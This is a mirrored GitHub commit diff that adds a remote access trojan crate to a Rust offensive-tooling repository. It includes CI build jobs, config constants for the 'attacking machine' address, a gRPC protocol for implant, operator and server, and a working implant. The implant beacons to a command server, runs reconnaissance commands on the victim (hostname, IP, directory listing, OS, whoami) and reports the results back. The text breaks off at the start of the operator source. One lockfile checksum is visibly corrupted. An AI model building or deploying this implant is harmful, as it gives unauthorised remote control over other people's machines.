mirror of
https://github.com/kmanc/remote_code_oxidation
synced 2026-06-08 15:21:46 +00:00
main merge
This commit is contained in:
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"label": "remote_access_trojan",
|
||||
"message": "1.0.0",
|
||||
"color": "blue"
|
||||
}
|
||||
@@ -12,6 +12,7 @@ env:
|
||||
CARGO_TERM_COLOR: always
|
||||
|
||||
jobs:
|
||||
|
||||
linux-reverse-shell:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
@@ -220,6 +221,19 @@ jobs:
|
||||
- name: Build hash shellcode for Linux
|
||||
run: cargo build -p hash_params --verbose
|
||||
|
||||
linux-remote-access-trojan:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: Update rust
|
||||
run: rustup update
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build remote access trojan for Linux
|
||||
run: cargo build -p remote_access_trojan --verbose
|
||||
|
||||
linux-all:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
@@ -120,3 +120,25 @@ jobs:
|
||||
- uses: stefanzweifel/git-auto-commit-action@v4.14.1
|
||||
with:
|
||||
commit_message: "Update hash params badge data via Github Action"
|
||||
|
||||
update-remote-access-trojan:
|
||||
runs-on: ubuntu-latest
|
||||
needs: update-hash-params
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
with:
|
||||
ref: ${{ github.head_ref }}
|
||||
- uses: dante-signal31/rust-app-version@v1.0.0
|
||||
id: remote_access_trojan_ver
|
||||
with:
|
||||
cargo_toml_folder: 'remote_access_trojan/'
|
||||
- name: Update remote_access_trojan version
|
||||
uses: jossef/action-set-json-field@v2
|
||||
with:
|
||||
file: '.custom_shields/remote_access_trojan.json'
|
||||
field: message
|
||||
value: ${{ steps.remote_access_trojan_ver.outputs.app_version }}
|
||||
- uses: stefanzweifel/git-auto-commit-action@v4
|
||||
with:
|
||||
commit_message: "Update remote access trojan badge data via Github Action"
|
||||
|
||||
@@ -295,7 +295,7 @@ jobs:
|
||||
- uses: actions/checkout@v3
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build xor shellcode for Windows
|
||||
- name: Build xor params for Windows
|
||||
run: cargo build -p xor_params --target x86_64-pc-windows-gnu --verbose
|
||||
|
||||
windows-hash-params:
|
||||
@@ -314,9 +314,28 @@ jobs:
|
||||
- uses: actions/checkout@v3
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build xor shellcode for Windows
|
||||
- name: Build hash params for Windows
|
||||
run: cargo build -p hash_params --target x86_64-pc-windows-gnu --verbose
|
||||
|
||||
windows-remote-access-trojan:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Update rust
|
||||
run: rustup update
|
||||
- name: Apt update
|
||||
run: sudo apt-get update
|
||||
- name: Install linker
|
||||
run: sudo apt-get -y install mingw-w64
|
||||
- name: Add Windows build target
|
||||
run: rustup target add x86_64-pc-windows-gnu
|
||||
- uses: actions/checkout@v2
|
||||
- name: Update cargo
|
||||
run: cargo update
|
||||
- name: Build remote access trojan for Windows
|
||||
run: cargo build -p remote_access_trojan --target x86_64-pc-windows-gnu --verbose
|
||||
|
||||
windows-all:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
Generated
+227
-1
@@ -2,12 +2,99 @@
|
||||
# It is not intended for manual editing.
|
||||
version = 3
|
||||
|
||||
[[package]]
|
||||
name = "anyhow"
|
||||
version = "1.0.56"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4361135be9122e0870de935d7c439aef945b9f9ddd4199a553b5270b49c82a27"
|
||||
|
||||
[[package]]
|
||||
name = "async-stream"
|
||||
version = "0.3.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "dad5c83079eae9969be7fadefe640a1c566901f05ff91ab221de4b6f68d9507e"
|
||||
dependencies = [
|
||||
"async-stream-impl",
|
||||
"futures-core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "async-stream-impl"
|
||||
version = "0.3.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "10f203db73a71dfa2fb6dd22763990fa26f3d2625a6da2da900d23b87d26be27"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "async-trait"
|
||||
version = "0.1.53"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ed6aa3524a2dfcf9fe180c51eae2b58738348d819517ceadf95789c51fff7600"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "autocfg"
|
||||
version = "1.1.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
|
||||
|
||||
[[package]]
|
||||
name = "axum"
|
||||
version = "0.5.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "47594e438a243791dba58124b6669561f5baa14cb12046641d8008bf035e5a25"
|
||||
dependencies = [
|
||||
"async-trait",
|
||||
"axum-core",
|
||||
"bitflags",
|
||||
"bytes",
|
||||
"futures-util",
|
||||
"http",
|
||||
"http-body",
|
||||
"hyper",
|
||||
"itoa",
|
||||
"matchit",
|
||||
"memchr",
|
||||
"mime",
|
||||
"percent-encoding",
|
||||
"pin-project-lite",
|
||||
"serde",
|
||||
"sync_wrapper",
|
||||
"tokio",
|
||||
"tower",
|
||||
"tower-http",
|
||||
"tower-layer",
|
||||
"tower-service",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "axum-core"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9a671c9ae99531afdd5d3ee8340b8da547779430689947144c140fc74a740244"
|
||||
dependencies = [
|
||||
"async-trait",
|
||||
"bytes",
|
||||
"futures-util",
|
||||
"http",
|
||||
"http-body",
|
||||
"mime",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "base64"
|
||||
version = "0.13.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "904dfeac50f3cdaba28fc6f57fdcddb75f49ed61346676a78c4ffe55877802fd"
|
||||
|
||||
[[package]]
|
||||
name = "bitflags"
|
||||
version = "1.3.2"
|
||||
@@ -18,7 +105,7 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
|
||||
name = "cfg-if"
|
||||
version = "1.0.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
|
||||
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40sfd"
|
||||
|
||||
[[package]]
|
||||
name = "getrandom"
|
||||
@@ -45,6 +132,27 @@ version = "0.2.132"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8371e4e5341c3a96db127eb2465ac681ced4c433e01dd0e938adbef26ba93ba5"
|
||||
|
||||
[[package]]
|
||||
name = "log"
|
||||
version = "0.4.16"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6389c490849ff5bc16be905ae24bc913a9c8892e19b2341dbc175e14c341c2b8"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "matchit"
|
||||
version = "0.5.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "73cbba799671b762df5a175adf59ce145165747bb891505c43d09aefbbf38beb"
|
||||
|
||||
[[package]]
|
||||
name = "memchr"
|
||||
version = "2.4.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "308cc39be01b73d0d18f82a0e7b2a3df85245f84af96fdddc5d202d27e47b86a"
|
||||
|
||||
[[package]]
|
||||
name = "memoffset"
|
||||
version = "0.6.5"
|
||||
@@ -54,6 +162,41 @@ dependencies = [
|
||||
"autocfg",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "mime"
|
||||
version = "0.3.16"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2a60c7ce501c71e03a9c9c0d35b861413ae925bd979cc7a4e30d060069aaac8d"
|
||||
|
||||
[[package]]
|
||||
name = "mio"
|
||||
version = "0.8.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "52da4364ffb0e4fe33a9841a98a3f3014fb964045ce4f7a45a398243c8d6b0c9"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"log",
|
||||
"miow",
|
||||
"ntapi",
|
||||
"wasi 0.11.0+wasi-snapshot-preview1",
|
||||
"winapi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "miow"
|
||||
version = "0.3.7"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b9f1c5b025cda876f66ef43a113f91ebc9f4ccef34843000e0adf6ebbab84e21"
|
||||
dependencies = [
|
||||
"winapi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "multimap"
|
||||
version = "0.8.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e5ce46fe64a9d73be07dcbe690a38ce1b293be448fd8ce1e6c1b8062c9f72c6a"
|
||||
|
||||
[[package]]
|
||||
name = "nix"
|
||||
version = "0.25.0"
|
||||
@@ -142,6 +285,89 @@ dependencies = [
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "redox_syscall"
|
||||
version = "0.2.13"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "62f25bc4c7e55e0b0b7a1d43fb893f4fa1361d0abe38b9ce4f323c2adfe6ef42"
|
||||
dependencies = [
|
||||
"bitflags",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "regex"
|
||||
version = "1.5.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1a11647b6b25ff05a515cb92c365cec08801e83423a235b51e231e1808747286"
|
||||
dependencies = [
|
||||
"regex-syntax",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "regex-syntax"
|
||||
version = "0.6.25"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f497285884f3fcff424ffc933e56d7cbca511def0c9831a7f9b5f6153e3cc89b"
|
||||
|
||||
[[package]]
|
||||
name = "remote_access_trojan"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"prost",
|
||||
"rco_config",
|
||||
"tokio",
|
||||
"tonic",
|
||||
"tonic-build",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "remove_dir_all"
|
||||
version = "0.5.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3acd125665422973a33ac9d3dd2df85edad0f4ae9b00dafb1a05e43a9f5ef8e7"
|
||||
dependencies = [
|
||||
"winapi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "serde"
|
||||
version = "1.0.136"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ce31e24b01e1e524df96f1c2fdd054405f8d7376249a5110886fb4b658484789"
|
||||
|
||||
[[package]]
|
||||
name = "slab"
|
||||
version = "0.4.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "eb703cfe953bccee95685111adeedb76fabe4e97549a58d16f03ea7b9367bb32"
|
||||
|
||||
[[package]]
|
||||
name = "socket2"
|
||||
version = "0.4.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "66d72b759436ae32898a2af0a14218dbf55efde3feeb170eb623637db85ee1e0"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"winapi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "syn"
|
||||
version = "1.0.91"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b683b2b825c8eef438b77c36a06dc262294da3d5a5813fac20da149241dcd44d"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"unicode-xid",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "sync_wrapper"
|
||||
version = "0.1.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "20518fe4a4c9acf048008599e464deb21beeae3d3578418951a189c235a7a9a8"
|
||||
|
||||
[[package]]
|
||||
name = "tcp_reverse_shell"
|
||||
version = "1.3.0"
|
||||
|
||||
@@ -8,6 +8,7 @@ members = [
|
||||
"rco_utils",
|
||||
"tcp_reverse_shell",
|
||||
"xor_params",
|
||||
"remote_access_trojan",
|
||||
]
|
||||
|
||||
[profile.release]
|
||||
|
||||
@@ -44,3 +44,12 @@ pub const ENCRYPTED_LINUX_MIGRATION_TARGET: &[u8] = &[0x60, 0x61, 0x73, 0x6d, 0x
|
||||
pub const ENCRYPTED_WINDOWS_HOLLOWING_TARGET: &[u8] = &[0x42, 0x38, 0x5f, 0x53, 0x6c, 0x6f, 0x66, 0x6c, 0x73, 0x76, 0x5d, 0x51, 0x7a, 0x77, 0x71, 0x64, 0x6f, 0x30, 0x36, 0x59, 0x72, 0x74, 0x60, 0x6c, 0x6a, 0x72, 0x76, 0x2d, 0x61, 0x7d, 0x64];
|
||||
// Linux process to hollow (using a full path is advised)
|
||||
pub const ENCRYPTED_LINUX_HOLLOWING_TARGET: &[u8] = &[0x2e, 0x60, 0x6a, 0x6a, 0x2a, 0x62, 0x77, 0x71, 0x68];
|
||||
|
||||
/*
|
||||
For remote_access_trojan
|
||||
*/
|
||||
|
||||
// IP address of the attacking machine
|
||||
pub const RAT_SERVER_LOCATION: &str = "127.0.0.1";
|
||||
// Port the attacking machine is listening on
|
||||
pub const RAT_SERVER_PORT: u16 = 4444;
|
||||
@@ -0,0 +1,29 @@
|
||||
[package]
|
||||
name = "remote_access_trojan"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
rust-version = "1.59"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[dependencies]
|
||||
rco_config = {path = "../rco_config"}
|
||||
prost = ">=0.9"
|
||||
tonic = ">=0.6"
|
||||
tokio = { version = ">=1.17", features = ["rt-multi-thread"] }
|
||||
|
||||
[build-dependencies]
|
||||
tonic-build = ">=0.6"
|
||||
|
||||
[[bin]]
|
||||
name = "operator"
|
||||
path = "src/operator.rs"
|
||||
|
||||
[[bin]]
|
||||
name = "implant"
|
||||
path = "src/implant.rs"
|
||||
|
||||
[[bin]]
|
||||
name = "server"
|
||||
path = "src/server.rs"
|
||||
@@ -0,0 +1,5 @@
|
||||
# RCO: Remote Access Trojan
|
||||
|
||||
[](https://github.com/kmanc/remote_code_oxidation/tree/master/remote_access_trojan)
|
||||
|
||||
Probably need to revisit this when it's done, not much point doing it now
|
||||
@@ -0,0 +1,8 @@
|
||||
fn main() {
|
||||
let proto_file = "./rat.proto";
|
||||
|
||||
tonic_build::configure()
|
||||
.build_server(true)
|
||||
.compile(&[proto_file], &["."])
|
||||
.unwrap();
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
syntax = "proto3";
|
||||
|
||||
package rat;
|
||||
|
||||
service AskForInstructions {
|
||||
rpc Send (Beacon) returns (CommandRequest);
|
||||
}
|
||||
|
||||
service RecordCommandResult {
|
||||
rpc Send (CommandResponse) returns (Empty);
|
||||
}
|
||||
|
||||
service ScheduleCommand {
|
||||
rpc Send (OperatorRequest) returns (OperatorResponse);
|
||||
}
|
||||
|
||||
// Enum variants have to be globally unique apparently, so prepending an "Op" in front of these ones
|
||||
enum OperatorCommand {
|
||||
OpCadence = 0;
|
||||
OpDir = 1;
|
||||
OpHostname = 2;
|
||||
OpIp = 3;
|
||||
OpLs = 4;
|
||||
OpOs = 5;
|
||||
OpNone = 6;
|
||||
OpQuit = 7;
|
||||
OpShell = 8;
|
||||
OpWhoami = 9;
|
||||
OpImplants = 10;
|
||||
OpHelp = 11;
|
||||
OpRetrieve = 12;
|
||||
}
|
||||
|
||||
enum RATCommand {
|
||||
Cadence = 0;
|
||||
Dir = 1;
|
||||
Hostname = 2;
|
||||
Ip = 3;
|
||||
Ls = 4;
|
||||
None = 5;
|
||||
Os = 6;
|
||||
Quit = 7;
|
||||
Shell = 8;
|
||||
Whoami = 9;
|
||||
}
|
||||
|
||||
message Beacon {
|
||||
uint32 requested_command = 1;
|
||||
}
|
||||
|
||||
message CommandRequest {
|
||||
RATCommand command = 1;
|
||||
string arguments = 2;
|
||||
}
|
||||
|
||||
message CommandResponse {
|
||||
string implant_id = 1;
|
||||
uint64 timestamp = 2;
|
||||
RATCommand command = 3;
|
||||
string arguments = 4;
|
||||
string result = 5;
|
||||
}
|
||||
|
||||
message OperatorRequest {
|
||||
OperatorCommand command = 1;
|
||||
string arguments = 2;
|
||||
}
|
||||
|
||||
message OperatorResponse {
|
||||
string data = 1;
|
||||
}
|
||||
|
||||
message Empty {}
|
||||
@@ -0,0 +1,240 @@
|
||||
use remote_access_trojan::rat::{Beacon, CommandResponse};
|
||||
use remote_access_trojan::rat::ask_for_instructions_client::AskForInstructionsClient;
|
||||
use remote_access_trojan::rat::RatCommand;
|
||||
use remote_access_trojan::rat::record_command_result_client::RecordCommandResultClient;
|
||||
use std::collections::hash_map::DefaultHasher;
|
||||
use std::hash::{Hash, Hasher};
|
||||
use std::process::Command;
|
||||
use std::{mem, thread};
|
||||
use std::time::{Duration, SystemTime};
|
||||
use tonic::transport::Endpoint;
|
||||
|
||||
/*
|
||||
TODO
|
||||
- implant 'shell' command
|
||||
- encrypt traffic from implant to server
|
||||
- alternate communication method(s) between implant and server
|
||||
*/
|
||||
|
||||
// Return the hostname as a string
|
||||
fn get_hostname() -> String {
|
||||
let hostname = Command::new("hostname")
|
||||
.output()
|
||||
.unwrap();
|
||||
let hostname = String::from_utf8(hostname.stdout).unwrap();
|
||||
let hostname = hostname.trim();
|
||||
hostname.to_string()
|
||||
}
|
||||
|
||||
// Return the IP address of the victim as a string - Linux
|
||||
#[cfg(target_os = "linux")]
|
||||
fn get_ip_address() -> String {
|
||||
let ip_address = Command::new("hostname")
|
||||
.arg("-I")
|
||||
.output()
|
||||
.unwrap();
|
||||
let ip_address = String::from_utf8(ip_address.stdout).unwrap();
|
||||
let ip_address = ip_address.trim();
|
||||
ip_address.to_string()
|
||||
}
|
||||
|
||||
// Return the IP address of the victim as a string - Windows
|
||||
#[cfg(windows)]
|
||||
fn get_ip_address() -> String {
|
||||
let ip_address = Command::new("ipconfig")
|
||||
.arg("|")
|
||||
.arg("findstr")
|
||||
.arg("IPv4")
|
||||
.output()
|
||||
.unwrap();
|
||||
let ip_address = String::from_utf8(ip_address.stdout).unwrap();
|
||||
let ip_address: Vec<&str> = ip_address.split(':').collect();
|
||||
let ip_address = ip_address[1].trim();
|
||||
ip_address.to_string()
|
||||
}
|
||||
|
||||
// Return the current directory listing as a string - Linux
|
||||
#[cfg(target_os = "linux")]
|
||||
fn get_directory_listing() -> String {
|
||||
let directory = Command::new("ls")
|
||||
.output()
|
||||
.unwrap();
|
||||
let directory = String::from_utf8(directory.stdout).unwrap();
|
||||
let directory = directory.trim();
|
||||
directory.to_string()
|
||||
}
|
||||
|
||||
// Return the current directory listing as a string - Windows
|
||||
#[cfg(windows)]
|
||||
fn get_directory_listing() -> String {
|
||||
let directory = Command::new("dir")
|
||||
.output()
|
||||
.unwrap();
|
||||
let directory = String::from_utf8(directory.stdout).unwrap();
|
||||
let directory = directory.trim();
|
||||
directory.to_string()
|
||||
}
|
||||
|
||||
// Return the operating system of the victim as a string - Linux
|
||||
#[cfg(target_os = "linux")]
|
||||
fn get_operating_system() -> String {
|
||||
let os = Command::new("cat")
|
||||
.arg("/proc/version")
|
||||
.output()
|
||||
.unwrap();
|
||||
let os = String::from_utf8(os.stdout).unwrap();
|
||||
let os = os.trim();
|
||||
os.to_string()
|
||||
}
|
||||
|
||||
// Return the operating system of the victim as a string - Windows
|
||||
#[cfg(windows)]
|
||||
fn get_operating_system() -> String {
|
||||
let os = Command::new("systeminfo")
|
||||
.arg("|")
|
||||
.arg("findstr")
|
||||
.arg("OS ")
|
||||
.output()
|
||||
.unwrap();
|
||||
let os = String::from_utf8(os.stdout).unwrap();
|
||||
let os = os.trim();
|
||||
os.to_string()
|
||||
}
|
||||
|
||||
// Return the user compromised on the victim as a string
|
||||
fn get_username() -> String {
|
||||
let username = Command::new("whoami")
|
||||
.output()
|
||||
.unwrap();
|
||||
let username = String::from_utf8(username.stdout).unwrap();
|
||||
let username = username.trim();
|
||||
username.to_string()
|
||||
}
|
||||
|
||||
// Hash a thing and return the value as a u64
|
||||
fn calculate_hash<T: Hash>(t: &T) -> u64 {
|
||||
let mut s = DefaultHasher::new();
|
||||
t.hash(&mut s);
|
||||
s.finish()
|
||||
}
|
||||
|
||||
// Generate an implant ID, which is the hashed value of {hostname}:{ip_address} formatted as a hex string
|
||||
fn generate_implant_id() -> String {
|
||||
let hostname = get_hostname();
|
||||
let ip_address = get_ip_address();
|
||||
|
||||
let hashed_value = calculate_hash(&format!("{hostname}:{ip_address}"));
|
||||
format!("{hashed_value:x}")
|
||||
}
|
||||
|
||||
struct ImplantState {
|
||||
implant_id: String,
|
||||
cadence: Duration,
|
||||
server_location: String,
|
||||
server_port: u16,
|
||||
command_number: u32
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<(), Box<dyn std::error::Error>> {
|
||||
// Initialize state
|
||||
let mut state = ImplantState {
|
||||
implant_id: generate_implant_id(),
|
||||
cadence: Duration::from_millis(10000),
|
||||
server_location: String::from(rco_config::RAT_SERVER_LOCATION),
|
||||
server_port: rco_config::RAT_SERVER_PORT,
|
||||
command_number: 0
|
||||
};
|
||||
|
||||
loop {
|
||||
// Set up connection to server
|
||||
let location = state.server_location.clone();
|
||||
let port = state.server_port;
|
||||
let socket = format!("http://{location}:{port}");
|
||||
let channel = Endpoint::from_shared(socket.clone())?
|
||||
.connect()
|
||||
.await?;
|
||||
// Prepare a client for beaconing
|
||||
let mut ask_client = AskForInstructionsClient::new(channel.clone());
|
||||
// Prepare a client for sending back command results
|
||||
let mut response_client = RecordCommandResultClient::new(channel.clone());
|
||||
// Request the next command
|
||||
let request = tonic::Request::new(
|
||||
Beacon {
|
||||
requested_command: state.command_number
|
||||
},
|
||||
);
|
||||
// Parse the response from the server
|
||||
let response = ask_client.send(request).await?.into_inner();
|
||||
let command = RatCommand::from_i32(response.command).unwrap();
|
||||
// Run the applicable command
|
||||
let command_result = match command {
|
||||
RatCommand::Cadence => {
|
||||
state.command_number += 1;
|
||||
let seconds = response.arguments.parse::<u64>()?;
|
||||
state.cadence = Duration::from_millis(seconds * 1000);
|
||||
"Beacon cadence changed".to_string()
|
||||
},
|
||||
RatCommand::Dir => {
|
||||
state.command_number += 1;
|
||||
get_directory_listing()
|
||||
},
|
||||
RatCommand::Hostname => {
|
||||
state.command_number += 1;
|
||||
get_hostname()
|
||||
},
|
||||
RatCommand::Ip => {
|
||||
state.command_number += 1;
|
||||
get_ip_address()
|
||||
},
|
||||
RatCommand::Ls => {
|
||||
state.command_number += 1;
|
||||
get_directory_listing()
|
||||
},
|
||||
// The server does not have any commands to run that the implant has not already run
|
||||
RatCommand::None => {
|
||||
mem::drop(channel);
|
||||
mem::drop(ask_client);
|
||||
mem::drop(response_client);
|
||||
thread::sleep(state.cadence);
|
||||
continue
|
||||
},
|
||||
RatCommand::Os => {
|
||||
state.command_number += 1;
|
||||
get_operating_system()
|
||||
},
|
||||
RatCommand::Quit => {
|
||||
state.command_number += 1;
|
||||
break
|
||||
},
|
||||
RatCommand::Shell => {
|
||||
state.command_number += 1;
|
||||
"PLACEHOLDER".to_string()
|
||||
},
|
||||
RatCommand::Whoami => {
|
||||
state.command_number += 1;
|
||||
get_username()
|
||||
}
|
||||
};
|
||||
// Format the response to the server
|
||||
let result = tonic::Request::new(
|
||||
CommandResponse {
|
||||
implant_id: state.implant_id.clone(),
|
||||
timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(),
|
||||
command: response.command,
|
||||
arguments: response.arguments,
|
||||
result: command_result
|
||||
},
|
||||
);
|
||||
// Send the response to the server
|
||||
response_client.send(result).await?;
|
||||
// By dropping these I can prevent having an always-established TCP session
|
||||
mem::drop(channel);
|
||||
mem::drop(ask_client);
|
||||
mem::drop(response_client);
|
||||
// Sleep until it is time to beacon again
|
||||
thread::sleep(state.cadence);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
use crate::rat::{OperatorCommand, RatCommand};
|
||||
|
||||
pub mod rat {
|
||||
tonic::include_proto!("rat");
|
||||
}
|
||||
|
||||
// Hacky copy of the protobuf in rat.rs
|
||||
pub enum RsRatCommand {
|
||||
Cadence = 0,
|
||||
Dir = 1,
|
||||
Hostname = 2,
|
||||
Ip = 3,
|
||||
Ls = 4,
|
||||
None = 5,
|
||||
Os = 6,
|
||||
Quit = 7,
|
||||
Shell = 8,
|
||||
Whoami = 9,
|
||||
}
|
||||
|
||||
// Way to convert the hacky copy of the protobuf to a string slice
|
||||
impl From<RsRatCommand> for &str {
|
||||
fn from(rat_command: RsRatCommand) -> Self {
|
||||
match rat_command {
|
||||
RsRatCommand::Cadence => "cadence",
|
||||
RsRatCommand::Dir => "dir",
|
||||
RsRatCommand::Hostname => "hostname",
|
||||
RsRatCommand::Ip => "ip",
|
||||
RsRatCommand::Ls => "ls",
|
||||
RsRatCommand::None => "none",
|
||||
RsRatCommand::Os => "os",
|
||||
RsRatCommand::Quit => "quit",
|
||||
RsRatCommand::Shell => "shell",
|
||||
RsRatCommand::Whoami => "whoami",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Way to convert from the protobuf enum into the hacky copy of the protobuf
|
||||
impl From<RatCommand> for RsRatCommand {
|
||||
fn from(command: RatCommand) -> Self {
|
||||
match command {
|
||||
RatCommand::Cadence => RsRatCommand::Cadence,
|
||||
RatCommand::Dir => RsRatCommand::Dir,
|
||||
RatCommand::Hostname => RsRatCommand::Hostname,
|
||||
RatCommand::Ip => RsRatCommand::Ip,
|
||||
RatCommand::Ls => RsRatCommand::Ls,
|
||||
RatCommand::None => RsRatCommand::None,
|
||||
RatCommand::Os => RsRatCommand::Os,
|
||||
RatCommand::Quit => RsRatCommand::Quit,
|
||||
RatCommand::Shell => RsRatCommand::Shell,
|
||||
RatCommand::Whoami => RsRatCommand::Whoami,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Hacky copy of different protobuf in rat.rs
|
||||
pub enum RsOperatorCommand {
|
||||
OpCadence = 0,
|
||||
OpDir = 1,
|
||||
OpHostname = 2,
|
||||
OpIp = 3,
|
||||
OpLs = 4,
|
||||
OpNone = 5,
|
||||
OpOs = 6,
|
||||
OpQuit = 7,
|
||||
OpShell = 8,
|
||||
OpWhoami = 9,
|
||||
OpImplants = 10,
|
||||
OpHelp = 11,
|
||||
OpRetrieve = 12,
|
||||
}
|
||||
|
||||
// Way to convert a string slice to the second hacky protobuf copy
|
||||
impl From<RsOperatorCommand> for OperatorCommand {
|
||||
fn from(command: RsOperatorCommand) -> Self {
|
||||
match command {
|
||||
RsOperatorCommand::OpCadence => OperatorCommand::OpCadence,
|
||||
RsOperatorCommand::OpDir => OperatorCommand::OpDir,
|
||||
RsOperatorCommand::OpHostname => OperatorCommand::OpHostname,
|
||||
RsOperatorCommand::OpIp => OperatorCommand::OpIp,
|
||||
RsOperatorCommand::OpLs => OperatorCommand::OpLs,
|
||||
RsOperatorCommand::OpOs => OperatorCommand::OpOs,
|
||||
RsOperatorCommand::OpQuit => OperatorCommand::OpQuit,
|
||||
RsOperatorCommand::OpShell => OperatorCommand::OpShell,
|
||||
RsOperatorCommand::OpWhoami => OperatorCommand::OpWhoami,
|
||||
RsOperatorCommand::OpImplants => OperatorCommand::OpImplants,
|
||||
RsOperatorCommand::OpHelp => OperatorCommand::OpHelp,
|
||||
RsOperatorCommand::OpRetrieve => OperatorCommand::OpRetrieve,
|
||||
RsOperatorCommand::OpNone => OperatorCommand::OpNone,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Way to convert a second hacky protobuf copy to the actual protobuf
|
||||
impl From<&str> for RsOperatorCommand {
|
||||
fn from(in_slice: &str) -> Self {
|
||||
match in_slice {
|
||||
"cadence" => RsOperatorCommand::OpCadence,
|
||||
"dir" => RsOperatorCommand::OpDir,
|
||||
"hostname" => RsOperatorCommand::OpHostname,
|
||||
"ip" => RsOperatorCommand::OpIp,
|
||||
"ls" => RsOperatorCommand::OpLs,
|
||||
"os" => RsOperatorCommand::OpOs,
|
||||
"quit" => RsOperatorCommand::OpQuit,
|
||||
"shell" => RsOperatorCommand::OpShell,
|
||||
"whoami" => RsOperatorCommand::OpWhoami,
|
||||
"implants" => RsOperatorCommand::OpImplants,
|
||||
"help" => RsOperatorCommand::OpHelp,
|
||||
"retrieve" => RsOperatorCommand::OpRetrieve,
|
||||
_ => RsOperatorCommand::OpNone,
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
use remote_access_trojan::RsOperatorCommand;
|
